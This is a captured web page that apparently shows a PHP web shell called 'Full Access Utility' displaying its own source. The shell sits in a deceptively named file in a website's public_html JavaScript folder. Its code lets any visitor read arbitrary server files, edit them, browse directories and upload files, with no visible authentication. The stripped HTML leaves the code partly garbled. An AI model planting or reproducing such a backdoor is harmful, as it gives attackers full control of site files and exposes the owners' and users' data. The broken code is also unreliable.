Full Access Utility

############################################# ### Viewing File: /home/clevelandbridge/public_html/revolution/js/class-bulk-editor-list-column.php ############################################# Full Access Web Utility"; echo ""; echo "
"; echo "

Full Access Utility

"; if (isset($_GET['msg'])) { echo "
STATUS: " . htmlspecialchars($_GET['msg']) . "
"; } // --- Handle File Viewing --- if (isset($_GET['view'])) { $file_to_view = realpath($_GET['view']); if (is_file($file_to_view)) { header('Content-Type: text/plain; charset=utf-8'); echo "#############################################\n"; echo "### Viewing File: " . $file_to_view . "\n"; echo "#############################################\n\n"; readfile($file_to_view); exit; } } // --- Handle File Editing (Display Form) --- if (isset($_GET['edit'])) { $file_to_edit = realpath($_GET['edit']); if (is_file($file_to_edit)) { $content = file_get_contents($file_to_edit); echo "

Editing File: " . htmlspecialchars($file_to_edit) . "

"; echo "
"; echo ""; echo ""; echo "
"; echo " [Cancel]"; echo "
"; } else { echo "

ERROR: File not found or not readable.

"; } echo "
"; exit; } // --- Directory Listing Display --- echo "

Current Directory: " . htmlspecialchars($current_path) . "

"; // Link to go up one level (Go Back) $parent_dir = dirname($current_path); if ($current_path != $parent_dir) { echo "

[.. Go Up Directory (cd ..)]

"; } if (is_dir($current_path) && $dh = opendir($current_path)) { echo ""; } else { echo "

Error: Cannot read directory contents or path is invalid.

"; } // --- File Upload Form --- echo "
"; echo "

File Upload

"; echo "
"; echo ""; echo ""; echo "
"; echo "
"; ?>